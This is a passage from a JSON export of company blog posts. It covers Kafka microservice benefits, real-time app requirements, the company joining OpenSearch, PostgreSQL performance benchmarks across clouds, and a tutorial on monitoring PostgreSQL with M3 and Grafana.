Integration to existing systems\nChoosing Apache Kafka doesn’t mean throwing out everything you’ve set up before. Combining Kafka with other systems also applies to your existing ones. \n\nYou can use Kafka to transport either all of your data, or only a subset, to legacy systems to ensure backwards compatibility or to ensure that you can still use systems you’ve invested in previously.\n### 3. Fault tolerance and scaling through clustering\nKafka’s clustered design makes it very fault-tolerant and scalable. When message load increases or the number of Kafka consumers changes, Kafka will automatically rebalance the processing load between the consumers. To increase throughput and scale up your services, just add nodes.\n\nNote also that this removes the need for any external High Availability arrangements.\n### 4. Advanced access control\nThe data you process may go to different endpoints, but with Kafka you can manage access to it through one centralized mechanism. Producers and consumers are configured to write to and read from only specified queues. This acts as an efficient access control mechanism, without your having to build a separate authentication structure on top.\n\nYou can improve your system’s security by using ACLs to restrict access to business-critical or classified parts. At the same time, though, you can empower people by giving them access to data that they may not otherwise ever see. For example, data scientists could use error reporting and website analytics to analyse their impact on customer satisfaction.\n### 5. Store and process any content\nKafka doesn’t care what the messages it stores contain, so you can use it for any type of content. This means that when your business needs change, you have the freedom to add any types of producers and consumers into the mix. Your business can grow and diversify without further infrastructure investments into service data processing.\n\n## Wrapping up\nThe robust and expandable Apache Kafka is, in our humble opinion, the best choice for most use cases involving microservices. It’s true that it’s notoriously complex and the learning curve can be steep before you have people qualified to maintain it. So why not consider getting a managed solution? [Aiven offers a free 30-day trial of Kafka as a service](https://aiven.io/kafka \"Link to Aiven for Apache Kafka\"), full-featured and easy to take into use. Why not give it a spin?\n\n::banner[We've got what you need. Everything you always wanted to know about Apache Kafka but were afraid to ask.]{ctaText=\"Get our free ebook\" ctaLink=\"https://aiven.io/ebook/apache-kafka-for-tech-leaders\" title=\"Want to know more about Apache Kafka®?\" theme=\"dark\"}\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further Reading\n\n- [Kafka users and access control](https://aiven.io/blog/kafka-users-and-access-control)\n\n- [What is Apache Kafka®?](https://aiven.io/blog/what-is-apache-kafka)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-2be8db3d6708a5cf49b938420ff8c286af3460c7-1567x844-jpg","_type":"reference"}},"publishedAt":"2020-12-17T00:00:00.000Z","seo":{"metaDescription":"Microservices are the most flexible way to provide an online service today. Find out why Apache Kafka is a good choice when microservices are on the line.","metaImage":{"alt":"","asset":{"_ref":"image-2be8db3d6708a5cf49b938420ff8c286af3460c7-1567x844-jpg","_type":"reference"}},"metaTitle":"5 benefits of an Apache Kafka®-centric microservice architecture"},"slug":{"_type":"slug","current":"/blog/5-benefits-of-a-kafka-centric-microservice-architecture"},"subtitle":"Microservices are the most flexible way to provide an online service today. Find out why Apache Kafka is a good choice when microservices are on the line.","title":"5 benefits of an Apache Kafka®-centric microservice architecture"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"34e4AS57ThEMU7hZcxvGA3","_rev":"JgIs2qI3CUllaKCG3TxsIj","_type":"post","_updatedAt":"2023-08-25T12:20:16Z","authors":[{"_key":"3djUG8boecQVsBzgbh9hC3","_ref":"3djUG8boecQVsBzgbh9hC3","_type":"reference"}],"body":"A real-time application is a program that sends data to the user in what is perceived to be real-time. These apps underpin nearly every aspect of our daily lives — from consumer apps that allow us to order and track a ride to business apps that let us collaborate in real-time.\n\nWhen you see exactly where your Uber driver is after requesting a ride, you’re using a real-time app. When you’re collaborating within a Google Doc, you guessed it — real-time app.\n\nThe teams behind these applications are made up of some of the best engineers in the world; but, they are only one piece of the puzzle. To succeed and pull ahead of the competition, you need to combine talent with carefully selected, innovative technology, and best practices.\n\nFrom architecture choices and technology considerations to data governance, let’s look at five key requirements when building best-in-class real-time applications in greater detail.\n\n## Requirements for building successful real-time applications\n\n### 1. Use a microservice architecture\n\nReal-time apps most commonly run within a [microservices](/blog/how-are-your-microservices-talking) architecture, a software development method where apps are structured as loosely coupled services. This is common practice for good reason — the architecture is more flexible, scalable, and reliable than a [monolithic](https://www.mulesoft.com/resources/api/microservices-vs-monolithic) one.\n\nMicroservice architectures provide greater speed and scale for several reasons. For instance, you can more easily add, configure, and remove components with little to no downstream impact because they aren’t delivered as part of a single, logical executable.\n\nBut, every architecture comes with potential trade-offs — such as latency for microservices. This can be mitigated by making sound architectural choices and choosing the appropriate communications model and technology, such as publish-subscribe and Apache Kafka.\n\n### 2. Utilize an open source data streaming platform\n\nTo zero in on real-time data and translate it into business value, [Apache Kafka](https://aiven.io/blog/what-is-apache-kafka) is an infrastructure must-have due to its low latency, scalability, and fault-tolerance. Kafka acts as the central communication hub for your microservices, thereby simplifying your application.\n\nKafka enables real-time stream processing through the [Kafka Streams API](https://kafka.apache.org/documentation/streams/), giving you the ability to transform and enrich your data through complex aggregations or joins of input streams on a per-record basis with millisecond latency onto an output stream of processed data.\n\nApache Kafka also has a diverse ecosystem of [connectors](/kafka-connect) that allow you to quickly connect Kafka to other systems like databases, file systems, search indexes, and key-value stores.\n\nBut, there’s a catch — Kafka can be notoriously difficult to manage. Many users who initially deploy and self-manage Kafka clusters begin to experience a lot of headaches as they scale. Often, they reach a point where they avoid updating their clusters for fear of the downstream impact.\n\nThat’s why we recommend using a managed Kafka service like [Aiven for Apache Kafka.](/kafka) A good managed service allows you to deploy clusters immediately in the cloud and region of your choice while also handling the nasty bits of management, such as when a node goes down.\n\n### 3. Use self-healing nodes\n\nTime spent babysitting your real-time app’s underlying data infrastructure is time not spent on building, deploying, and refining the app itself. Therefore, your team needs to be able to create Kafka clusters on demand without worrying about unhealthy nodes and surprise downtime.\n\nStarting from zero? A managed Kafka service removes the inherent difficulty of setting up a self-hosted Kafka server. Already set up but struggling to scale? A good managed services will ensure high availability and security, as well as mitigate the unexpected costs from undetected failures.\n\nA managed service takes care of countless mundane tasks such as replacing nodes when they go down (they will) and applying any patches/updates required for running the cluster within preselected maintenance windows. \n\n### 4. Don’t forget about observability\n\nObservability is a double-edged sword. You need to know that both your Kafka service and the data flowing through it are healthy. Aiven for Kafka provides free metrics and logging integrations for real-time, fine-grain performance and security insights out of the box. \n\nOn the other side, what does it mean to know if you have “healthy data”? Kafka is still a black box; an expanse that only grows as teams go remote and work in physical silos. To get a full overview of your app health, teams need a purpose-built workspace for their data operations. \n\n[Lenses.io](https://lenses.io/) workspaces give you full data visibility from all angles. A Lenses workspace allows nearly anyone across the business that speaks [SQL](https://lenses.io/product/sql/) to troubleshoot a problem on a streaming application within minutes, rather than waiting a few days or weeks to free up a Kafka wizard. \n\nLenses.io is fully compatible with Aiven for Kafka. This means teams can get a fully managed service that seamlessly and efficiently snaps into the foundation of their streaming apps, and then peer into their data pipelines and orchestrate access across teams as they scale.\n\n### 5. Built-in data governance\n\nMature governance practices lead to great real-time applications. An enterprise framework and features for governance help secure sensitive data and give your teams the ability to go to market faster with data-dependent experiences and app features.\n\nTo scale a Kafka project across your business, it is best to visually represent data governance controls in a UI for non-engineers. This is particularly useful in helping executive stakeholders to speed up their seal of approval and avoid any slowdowns for mission-critical app teams.\n\nGovernance tools need to be in place before disaster strikes to reduce potential downtime. You can try removing dependencies from your relatively small team, but you run the risk of downtime as they prioritize building monitoring and auditing features. Manual configuration sure is difficult!\n\nLenses lets teams secure and audit data in any Kafka environment, create role-based groups, and set up data policies that automatically detect and redact metadata across real-time apps. Being able to see the trail of all actions across users gives decision-makers the confidence to open up their data platform across the business.\n\n## Aiven and Lenses.io\n\n[Lenses](https://lenses.io/) and Aiven have partnered to provide a full-spectrum, unified Kafka solution to ensure real-time apps make it to production in highly regulated environments and give them the best chance of success on the [high, often turbulent seas of innovation.](https://lenses.io/customers/marine-traffic/) \n\nWhen it comes to your application layer, you can trust [Lenses](https://lenses.io/why-lenses/) to make app teams more efficient and productive. And when it comes to the stability and reliability of your infrastructure, you can trust [Aiven](/) to manage your Kafka deployments and assorted open-source data infrastructure.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-45f179709405cd1f72a6696b881d905a1da3a462-1567x844-png","_type":"reference"}},"publishedAt":"2020-08-05T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Olivier de Garrigues from Lenses.io outlines what engineering teams should consider when building and launching real-time apps in our world of fast innovation.","metaImage":{"alt":"","asset":{"_ref":"image-45f179709405cd1f72a6696b881d905a1da3a462-1567x844-png","_type":"reference"}},"metaTitle":"Building High-Performance Real-Time Apps: Key Requirements"},"slug":{"_type":"slug","current":"/blog/the-top-requirements-for-building-performant-real-time-applications"},"subtitle":"Olivier de Garrigues from Lenses.io outlines what engineering teams should consider when building and launching real-time apps in our world of fast innovation.","title":"The top requirements for building performant real-time applications"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"2STnhN8Z1eG14GTaYoIIQC","_rev":"j5OhKGUVbND2aFEj9l9wYS","_type":"post","_updatedAt":"2023-06-14T10:03:49Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"__UPDATE: Aiven has now released [Aiven for OpenSearch](https://aiven.io/blog/announcing-aiven-for-opensearch \"Announcing Aiven for OpenSearch | Aiven blog\"), built on Elasticsearch 7 and offering all the same functionality at the time of the launch.__\n\n## The story so far\nOn January 14, 2021, the world of Elasticsearch turned upside down as [Elastic.io announced a change in their licencing policy](https://aiven.io/press/aiven-statement-on-license-changes-for-elasticsearch \"Aiven statement on ES licence changes\") starting from release 7.11. Their new, more restrictive licencing will no longer permit Elasticsearch to be offered as a service to third parties. \n\nA number of companies, Aiven included, immediately took a stance for open source, and an [upcoming open source fork](https://aiven.io/blog/keeping-elasticsearch-open \"Aiven blog: Keeping Elasticsearch open\") for Elasticsearch and Kibana was announced, spearheaded by AWS.\n\nNow that fork has a name, a scope and a plan.\n## Aiven is for OpenSearch\nOn April 12, 2021, AWS published a more comprehensive outline of their plans, including a name for the new project: OpenSearch. Details are available on the [OpenSearch community site](https://opensearch.org/) and in the [AWS announcement](https://aws.amazon.com/blogs/opensource/introducing-opensearch/), but in brief, this community-driven project includes OpenSearch (from Elasticsearch 7.10.2), OpenSearch Dashboards (from Kibana 7.10.2), and Open Distro for Elasticsearch (providing additional features). Everything will be released under the Apache Licence Version 2.0, free to modify, extend, embed, monetize, resell and offer as a service.\n\nThe thing to note is that OpenSearch is still very much in Alpha and not ready to be productized. As soon as the project is released and Aiven has had a chance to evaluate it, we’ll pick it up and make it available for our customers. Our current timeline guesstimate for this is by the end of this summer. And of course, at that point we’ll change our product name, too.\n## Effects of the change\nThese changes will have no impact whatsoever on the availability, maintenance or service level of current Aiven for Elasticsearch users. When we pick up the eventual OpenSearch branch, it is likely that not much will change to begin with. \n\nAiven will continue to address any issues in all the Elasticsearch versions we provide and continue to offer the high level of support we’re known for.\n## Wrapping up\nAiven is eagerly awaiting the first iteration of the OpenSearch project and looks forward to being an active contributor. [See you on GitHub](https://github.com/opensearch-project/OpenSearch \"OpenSearch project page on GitHub\")!\n\n(Want to join us in our contributions? Check out [our Careers page](https://aiven.io/careers \"Aiven Careers\") for positions in the Open Source Office, product development and corporate functions.)\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e207804cdf0061fd0a2a55d5e69481b12ec04a80-1567x844-png","_type":"reference"}},"publishedAt":"2021-04-16T00:00:00.000Z","related":[{"_key":"dc971f778d59","_ref":"ABeD3aNbvwjtqXaZk6hiP","_type":"reference"}],"seo":{"metaDescription":"Aiven will join the community forming around the new fork of OpenSearch and OpenSearch dashboards. Find out about the impact and implications here.","metaImage":{"alt":"","asset":{"_ref":"image-e207804cdf0061fd0a2a55d5e69481b12ec04a80-1567x844-png","_type":"reference"}},"metaTitle":"Aiven joins the OpenSearch® community"},"slug":{"_type":"slug","current":"/blog/aiven-joins-the-opensearch-community"},"subtitle":"Aiven will join the community forming around the new fork of OpenSearch and OpenSearch dashboards. Find out about the impact and implications here.","title":"Aiven joins the OpenSearch® community"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3dUGXzwFO7JCACUPmYsDic","_rev":"YFURCCIYWC1zW2kvzdygFp","_type":"post","_updatedAt":"2023-08-08T14:49:18Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"I recently gave a talk about PostgreSQL performance in different clouds, under different settings at the pgconf.eu conference in Warsaw.\n\nThe talk compared the results of 3 benchmark tests for the just released PostgreSQL 10 running in five cloud infrastructures in two different regions:\n\n- Amazon Web Services (eu-west-1 and eu-central-1)\n- Google Cloud Platform (europe-west2 and europe-west3)\n- Microsoft Azure (UK South and Germany Central)\n- DigitalOcean (LON1 and FRA1)\n- UpCloud (uk-lon1 and de-fra1)\n\nWe selected the specific regions because we were giving the talk a European conference and all of the vendors operate data centers in England and Germany.\n\nAlso, chose to run all benchmarks in two different regions to see if we would find noticeable differences in the different sites operated by these vendors.\n\nThe first benchmark was compared the following two different instance sizes on all clouds utilizing the network-backed freely scalable disks that are available in each cloud:\n\n- 4 vCPU / 16GB RAM\n- 16 vCPU / 64GB RAM\n\nThe second compared network and local SSD performance in AWS and GCP cloud infrastructures with the same instance sizes as the first.\n\nFor this post, we will be taking an in-depth look at the two benchmark tests while covering some important considerations when identifying and correcting PostgreSQL setups.\n\n## 4 vCPU / 16 GB RAM network disks benchmark\n\nAlthough it is impossible to get VMs with the exact same specifications in every cloud, we provisioned similar setups in all clouds:\n\n- **Amazon Web Services**\n - m4.xlarge: 4 vCPU; 16 GB RAM\n - 350 GB gp2 EBS volume, no provisioned IOPS\n\n- **Google Cloud Platform**\n - n1-standard-4: 4 vCPU; 15 GB RAM\n - 350 GB PD-SSD\n\n- **Microsoft Azure**\n - Standard DS3 v2: 4 vCPU; 14 GB RAM\n - 350 GB P20\n\n- **DigitalOcean**\n - 16GB: 4 vCPU; 16 GB RAM\n - 350 GB block storage\n\n- **UpCloud**\n - 4CPUx16GB: 4 vCPU; 16 GB RAM\n - 350 GB MAXIOPS\n\nPostgreSQL 10.0 was running on top of Linux 4.3.15 kernel on each cloud. To replicate a typical production setup, the disks utilized LUKS full-disk encryption and WAL archiving was enabled to include the overhead of backups in the tests.\n\nThe test was performed using the venerable pgbench tool that comes bundled with PostgreSQL.\n\n`pgbench` was run on another VM in the same cloud, running 16 clients for one hour with a data set roughly three times the amount of available memory, meaning that the data would not fit in cache and the impact of I/O is visible.\n\n![ram-instances](//cdn.sanity.io/images/sczeoy4w/production/c6b7d1551a12177be7ecadf4b0acce91fdd7c9ac-1200x675.png)\n\nGoogle Cloud and UpCloud lead this benchmark showing that there's quite a bit of variation between the different cloud providers.\n\nThe performance of the big three providers are most stable across different regions while DigitalOcean and UpCloud show larger differences between different regions: the hardware or density of those regions may vary.\n\n## 16 vCPU / 64 GB RAM / network disks benchmark\n\nThe test run was repeated on the 16x64 setup:\n\n- **Amazon Web Services**\n - m4.4xlarge: 16 vCPU; 64 GB RAM\n - 1 TB gp2 EBS volume, no provisioned IOPS\n\n- **Google Cloud Platform**\n - n1-standard-16: 16 vCPU; 60 GB RAM\n - 1 TB PD-SSD\n\n- **Microsoft Azure**\n - Standard DS5 v2: 16 vCPU; 56 GB RAM\n - 1 TB P30\n\n- **DigitalOcean**\n - 64GB: 16 vCPU; 64 GB RAM\n - 1 GB block storage\n\n- **UpCloud**\n - Custom: 16 vCPU; 60 GB RAM\n - 1 TB MAXIOPS\n\nAgain we used PostgreSQL 10.0, Linux 4.3.15 and `pgbench` for the benchmark, this time with 64 parallel clients on the pgbench host with a dataset three times the host ram.\n\n![ram-instances-64](//cdn.sanity.io/images/sczeoy4w/production/bc0bf11769f0d32d7a89b5ed866f136134827030-1200x675.png)\n\nAs with the prior setup, Google Cloud and UpCloud lead the pack with DigitalOcean's inter-region performance demonstrating widely different characteristics.\n\nHowever, Amazon and Azure have a smaller performance gap and UpClouds inter-region performance gap is almost nonexistent.\n\nAdditionally, *the actual transactions per second count hasn't increased* much from the test run with the smaller instance types. This is mostly due to the size of the data set and the number of clients having increased.\n\n## General and cloud provider performance considerations\n\nData access latency has always been one of the most important factors in database performance and often is the most important single factor.\n\nIn broad terms, this means the larger the amount of your hot data that you can fit in your fastest data storage system the better.\n\nData is typically fetched from the following systems, listed below from fastest to slowest with each system typically being an __order of magnitude slower than the preceding system__:\n\nCPU caches \u003c RAM \u003c Local disks \u003c Network disks\n\nAll vendors use Intel Xeon CPUs of various types in their clouds and you can usually identify the type of CPU from the vendor's home page or simply by spawning a virtual machine and looking at `/proc/cpuinfo`.\n\nDifferent hypervisors are used by different providers which may account for some differences, but most of the differences between these vendors are most likely in their IO subsystems.\n\n**AWS**\n\nAWS has a number of different volume types available in its Elastic Block Storage (EBS) ranging from large \u0026 cheap spinning rust to highly performant SSDs with provisioned IOPS.\n\nThe most common disk type for database workloads are probably the \"general purpose\" `gp2`, which was used in our tests, and the \"provisioned iops\" `io1` type.\n\nThe general purpose disk works just fine for most use cases and provides guaranteed performance for a reasonable price based on the disk size ranging from 100 IOPS to 10k IOPS.\n\nWhile you can get up to 32k IOPS with the provisioned IOPS volume type, it comes with a __hefty price__.\n\nAWS also provides a number of instance types with fixed local storage (\"instance storage\") which we'll cover later.\n\n**Google Cloud (GCP)**\n\nGCP has two options for its scalable network storage: SSDs (\"pd-ssd\") and spinning (\"standard\").\n\nThe performance of Google Cloud's disks scale up automatically as volume size increases, i.e. the bigger the volume, the more bandwidth and IOPS you get.\n\nGCP doesn't have provisioned IOPS disks at the moment, but the number of IOPS available by default __usually exceeds what's available on Elastic Block Storage__.\n\nGCP allows attaching up to 8 local SSDs to most instance types, which we'll also cover later.\n\n**Microsoft Azure**\n\nAzure has a number of different options for network attached storage with default storage based on spinning disks that are affordable, but rather slow.\n\nTo utilize SSDs in Azure, you must switch from the standard \"D\" type instances to \"DS\" and select the layout of disks to use: disks come in fixed sizes ranging from 128 GB to 4 TB in size with each tier offering different IOPS and bandwidth.\n\nWe used the \"P20\" (512GB) and \"P30\" (1TB) disks in our benchmarks which currently appear to have the best performance per dollar spent of all Azure disks.\n\nAzure also has a number of instance types with instance local storage, but we have not yet included them in our benchmarks.\n\n**DigitalOcean**\n\nDigitalOcean has simple options for VMs with a number of different VM sizes you can select which all come with a certain amount of vCPUs, RAM and local (SSD) disk. You can additionally attach a network disk (\"block storage\") of any size to the VM.\n\nAll DigitalOcean VMs have local disks, but they are too small to be usable in these benchmarks.\n\n**UpCloud**\n\nUpCloud has a proprietary storage system called MAXIOPS which is used for all disk resources. MAXIOPS allows attaching a number of disks up to 1TB each to a VM.\n\nWe believe MAXIOPS is based on SSD arrays connected using InfiniBand, but UpCloud has not given a detailed view to its storage technology so far.\n\nUpCloud doesn't offer any VMs with local storage.\n\n**Considerations for running PostgreSQL on ephemeral disks**\n\nAs mentioned, a number of the cloud infrastructure vendors offer instance storage with what we believe to be much faster (potentially an order of magnitude faster) than the default, network-attached storage, and we wanted to include them in our benchmarks.\n\nIt is important to note that we can't rely on instance storage for data durability because local disks are ephemeral and data on them will be lost in case the VM is shut down or crashes.\n\nTherefore, other means __must be used__ to ensure data durability across node failures. Luckily PostgreSQL comes with multiple approaches for this:\n\n- Replication to a hot standby node\n- Incremental backup of data as it's written (WAL streaming)\n\nWe utilized WAL streaming for backups in this benchmark: all data is streamed to a durable cloud storage system for recovery purposes as it's written.\n\n## 16 GB RAM / local vs. network disks benchmark\n\nJust as we couldn't with the network disk test, we were unable to provision VMs with identical specifications from the selected cloud infrastructure providers.\n\nSpecifically, AWS has a limited set of instance types with local disks unlike Google, which allows for attaching local disks to most types. The following VM configuration was used in this test run:\n\n- **Amazon Web Services**\n - i3.large: 2 vCPU; 15 GB RAM\n - 350 GB NVMe disk (max 475 GB)\n\n- **Google Cloud Platform**\n - n1-standard-4: 4 vCPU; 15 GB RAM\n - 350 GB NVMe disk (max 3 TB)\n\nAgain, we used PostgreSQL 10.0, Linux 4.3.15 and `pgbench` for the benchmark, this time with 16 parallel clients on the pgbench host with a dataset three times the host ram.\n\nThe following graph compares the performance of PostgreSQL 10 running in AWS and GCP with local and network disks:\n\n![ram-instances-local-vs-network](//cdn.sanity.io/images/sczeoy4w/production/5ea58bfbbf1669124033f967b67181c3583ec8b5-1200x675.png)\n\nWe were a bit surprised by the lack of differences between local and network disks. Apparently, the bottleneck is not in disk IO in this case.\n\n## 64 GB RAM / local vs. network disks benchmark\n\nWe repeated the local disk benchmark with 64 GB instances configured as follows:\n\n- **Amazon Web Services**\n - i3.2large: 8 vCPU; 61 GB RAM\n - 1 TB NVMe disk (max 1.9 TB)\n\n- **Google Cloud Platform**\n - n1-standard-16: 16 vCPU; 60 GB RAM\n - 1 TB NVMe disk (max 3 TB)\n\nAgain we used PostgreSQL 10.0, Linux 4.3.15 and pgbench for the benchmark, this time with 64 parallel clients on the `pgbench` host with a dataset three times the host ram.\n\nThe following graph compares the performance of PostgreSQL 10 running in AWS and GCP with local and network disks:\n\n![ram-instances-local-vs-network-64](//cdn.sanity.io/images/sczeoy4w/production/f9925aac3ef340ed50435f7fa40232ba546d359d-1200x675.png)\n\nThe results speak for themselves: the local NVMe-backed instances blow away the network-backed instances.\n\n## Summary\n\nA great many factors affect PostgreSQL performance and each production workload is different from the other, and most importantly, different than the workloads used in these benchmarks.\n\nOur advice is to try to identify the bottlenecks in performance and tune the database configuration, workload or (virtual) hardware configuration to match the requirements.\n\nIn a cloud PostgreSQL-as-a-Service system such as [ours](https://aiven.io/postgresql), the PostgreSQL system parameters are typically automatically configured to match typical workloads and it's easy to try out different virtual hardware configurations.\n\nIf you decide to roll your own PostgreSQL setup, be sure to pay special attention to backups and data durability when using local disks.\n\n## Next steps\n\nMy conference slides are available in our [GitHub repository](https://github.com/aiven/presentations/blob/master/pgconfeu2017/PostgreSQL%20Cloud%20Performance%20-%20PGConf%20EU%202017%20-%20Oskari%20Saarenmaa.pdf) and they include a set of benchmarks on different AWS PostgreSQL-as-a-Service platforms (Aiven, RDS and AWS Aurora) comparing performance of Aiven PostgreSQL backed by NVMe SSDs to RDS PosgreSQL on EBS volumes and AWS Aurora with a proprietary backend.\n\nWe will be publishing more benchmarks at regular intervals in the future comparing different workloads and infrastructure setups. We'll also include more database-as-a-service providers in our regular benchmarks, so stay tuned!\n\n## Launch the top-performing PostgreSQL service in minutes\n\nAs detailed in a [previous blog post](https://aiven.io/blog/larger-and-faster-aiven-postgresql-plans), PostgreSQL 10 with local disks is now available for all Aiven users. Please sign up for our free trial and have your top-performing PostgreSQL instance available for use in minutes.\n\n[![Adeo-CaseStudy-CTA](//cdn.sanity.io/images/sczeoy4w/production/9d3cb0ef137e1e9ee9fb7066b25baf316bb01957-1600x471.jpg)](https://aiven.io/case-studies/aiven-cloud-helps-adeo)","categories":[{"_key":"6M8DLtFLBnGLS1UOa20n4K","_ref":"6M8DLtFLBnGLS1UOa20n4K","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-79f15eb0a339c63e6c1d246428ae5e392f369774-752x405-png","_type":"reference"}},"publishedAt":"2017-12-21T00:00:00.000Z","related":[{"_key":"a6699bd8c50c","_ref":"7e6f8eca-cb6e-4ad4-ae5d-465ed5088c54","_type":"reference"},{"_key":"c4d64b2bb121","_ref":"3yLuVWne7YQkrv7Uf5iokY","_type":"reference"},{"_key":"d8e8472d01ba","_ref":"XoaoK7MK66lzOVNjY9MlL","_type":"reference"}],"seo":{"metaDescription":"Want to know how PostgreSQL performs in different clouds, as well as best practices for benchmarking? Then be sure to check out our latest test results.","metaImage":{"alt":"","asset":{"_ref":"image-79f15eb0a339c63e6c1d246428ae5e392f369774-752x405-png","_type":"reference"}},"metaTitle":"PostgreSQL® Performance in AWS, GCP, Azure, DO and UpCloud"},"slug":{"_type":"slug","current":"/blog/postgresql-cloud-performance"},"subtitle":"Want to know how PostgreSQL performs in different clouds, as well as best practices for benchmarking? Then be sure to check out our latest test results.","title":"PostgreSQL® Performance in AWS, GCP, Azure, DO and UpCloud"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"27idt1cdblNt5VE88jxtnJ","_rev":"VeNKqGNmt13PzvGhqsSIe6","_type":"post","_updatedAt":"2024-01-29T15:40:44Z","authors":[{"_key":"3gXeb4zb5wJU5CvLnVioH","_ref":"3gXeb4zb5wJU5CvLnVioH","_type":"reference"}],"body":"One key use case for [Aiven for M3](https://aiven.io/m3 \"Aiven for M3 product page\") is for handling the monitoring data from other systems. In this post you will do just that, by setting up a PostgreSQL service and collecting metrics from it using M3. To complete the picture, Grafana will be used to inspect the collected data.\n## Start with something to monitor\nTo begin with, you need a PostgreSQL service. It doesn't matter what you choose here since this service isn't going to do any important work – it's merely a temporary container for some metrics (sorry, PostgreSQL!).\n\n![create-pg](//cdn.sanity.io/images/sczeoy4w/production/7dc390597cdb4fb144a1169af05319f20fdbfe32-1850x950.png \"Create a PostgreSQL service\")\n\nWith a PostgreSQL service running, you can start to collect metrics from it.\n## Collect metrics with Aiven for M3\nFrom the PostgreSQL service overview page, configure the metrics integration with a new M3 service:\n\n1. Choose **Manage integrations**.\n2. Locate the one named \"Send service metrics to...\" (not the one for receiving), and choose **Use integration**.\n3. When prompted, create a new M3DB service, and configure it to your liking. To minimize latency, I usually use the same cloud region as the thing I'm monitoring.\n\nThe metrics collected from PostgreSQL are now being sent to M3.\n## Visualize the data with Grafana\nThe next step is to add the dashboard integration so you can see the data you are collecting. From the M3 service overview page, let's set up a Grafana dashboard:\n\n1. Choose **Manage integrations**.\n2. Select **Dashboard** and then **Use integration**.\n3. Choose a new Grafana service, and again, configure the service to suit your needs.\n\nOnce created, you can access Grafana by opening its Service URI in a new browser tab, and logging in with the user and password listed on the service overview page. To get you started, Aiven includes a default dashboard that shows some of the most common metrics.\n\nTo access the pre-built dashboard:\n* From the left hand menu, go to the Dashboards section (4 squares) and choose **Manage**\n* Click on the dashboard called \"Aiven PostgreSQL - [database name] - Resources\"\n\nYou now have a clear view of your PostgreSQL database health.\n![grafana-default](//cdn.sanity.io/images/sczeoy4w/production/bb819f6e3e41a47dc986cdfb337649ae969abfcd-1440x684.png \"Grafana default view\")\n\nClick the dashboard settings, and choose \"Save As\" to use this dashboard as a template for your own that you can modify. \n\nThe [list of PostgreSQL metrics exposed to Grafana](https://aiven.io/docs/products/postgresql/reference/pg-metrics) gives more information about the fields that are available.\n## Integrations in action\nThe integrations are now in place, and you can see both the data coming in and the dashboard integration from the M3 service overview page.\n\n![integrations](//cdn.sanity.io/images/sczeoy4w/production/3123b663151c4f4ceeb510c26c40853b189f5ee1-1440x684.png \"Integrations in the Aiven Console\")\n\nFollowing the same approach, you can add metrics integrations to all of your other Aiven services, and send data to the M3 database you created. You can also write metrics from non-Aiven services to M3 to bring all the data you need into one place, and to visualize it with Grafana.\n## Wrapping up and further reading\n* Bring metrics from other services into M3 with our [article on using Telegraf with M3](https://help.aiven.io/en/articles/5161440-writing-metrics-to-m3-using-telegraf).\n* Build better dashboards with these [tips from Grafana](https://grafana.com/docs/grafana/latest/best-practices/best-practices-for-creating-dashboards/).\n* Learn more about [Aiven service integrations](https://grafana.com/docs/grafana/latest/best-practices/best-practices-for-creating-dashboards/).\n* Or learn more about [time series databases](https://aiven.io/time-series-databases \"Time series DBs at Aiven\")\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related 